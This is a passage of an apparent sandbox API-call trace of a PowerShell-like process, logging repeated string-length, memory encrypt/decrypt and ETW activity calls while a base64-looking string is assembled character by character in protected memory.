0x30 [0134.074] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0134.074] SysStringLen (param_1="6NYKa2iA7+ReD4Gb3uKX40uWEnY0NtlY6/D8EB79ll4馊㹱按巔멥") returned 0x30 [0134.074] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0134.074] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x35e8\xef90\x732a\x5b7d\x4d77\x6824\xa71\x6015\xcd38\xaaea\x56c5\x3313\x3d63\x25d0\x7cf6\x1877\x3d9f\xcb3f\x4349\xcf11\x63b2\x76d3\x33c3\x447a") returned 0x30 [0134.074] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x35e8\xef90\x732a\x5b7d\x4d77\x6824\xa71\x6015\xcd38\xaaea\x56c5\x3313\x3d63\x25d0\x7cf6\x1877\x3d9f\xcb3f\x4349\xcf11\x63b2\x76d3\x33c3\x447a") returned 0x30 [0134.074] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0134.074] SysStringLen (param_1="6NYKa2iA7+ReD4Gb3uKX40uWEnY0NtlY6/D8EB79ll4=㹱按巔멥") returned 0x30 [0134.074] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0134.074] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xff, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.075] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xff, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.075] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfe, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfe, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.075] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0134.075] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.075] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfe, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.075] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.075] SysStringLen (param_1="") returned 0x8 [0134.075] SysStringLen (param_1="Y") returned 0x8 [0134.075] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.076] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0134.076] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0134.076] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.076] SysStringLen (param_1="YW") returned 0x8 [0134.076] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.076] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0134.076] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0134.076] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.076] SysStringLen (param_1="YWM") returned 0x8 [0134.076] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.076] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0134.076] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0134.076] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.076] SysStringLen (param_1="YWM1") returned 0x8 [0134.076] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.077] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0134.077] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0134.077] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.077] SysStringLen (param_1="YWM1O") returned 0x8 [0134.077] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.077] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0134.077] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0134.077] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.077] SysStringLen (param_1="YWM1OT") returned 0x8 [0134.077] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.077] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0134.077] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0134.077] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.077] SysStringLen (param_1="YWM1OTE") returned 0x8 [0134.077] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.077] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0134.077] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0134.077] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.078] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0134.078] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.078] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0134.078] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0134.078] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0134.078] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0134.078] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.078] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0134.078] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.078] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0134.078] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0134.078] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.078] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0134.078] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.079] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0134.079] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0134.079] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.079] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0134.079] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.079] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0134.079] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0134.079] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.079] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0134.079] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.079] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0134.079] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0134.079] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.079] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0134.079] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.079] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0134.080] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0134.080] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.080] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0134.080] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.080] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0134.080] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0134.080] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.080] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0134.080] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.080] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0134.080] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0134.080] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.080] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0134.080] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.080] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0134.081] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0134.081] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0134.081] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0134.081] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.081] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0134.081] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.081] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0134.081] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0134.081] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.081] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0134.081] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.081] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0134.081] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0134.081] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.081] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0134.081] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.082] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0134.082] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0134.082] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.082] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0134.082] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.082] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0134.082] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0134.082] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.082] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0134.082] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.082] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0134.082] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0134.082] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.082] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0134.082] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.083] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0134.083] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0134.083] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.083] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0134.083] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.083] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0134.083] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0134.083] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.083] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0134.083] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.083] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0134.083] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0134.083] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0134.083] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0134.083] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.083] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0134.084] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.084] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0134.084] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0134.084] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.084] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0134.084] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.084] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0134.084] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0134.084] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.085] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0134.085] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.085] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0134.085] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0134.085] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.086] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0134.086] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.086] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0134.086] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0134.086] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.086] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0134.086] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 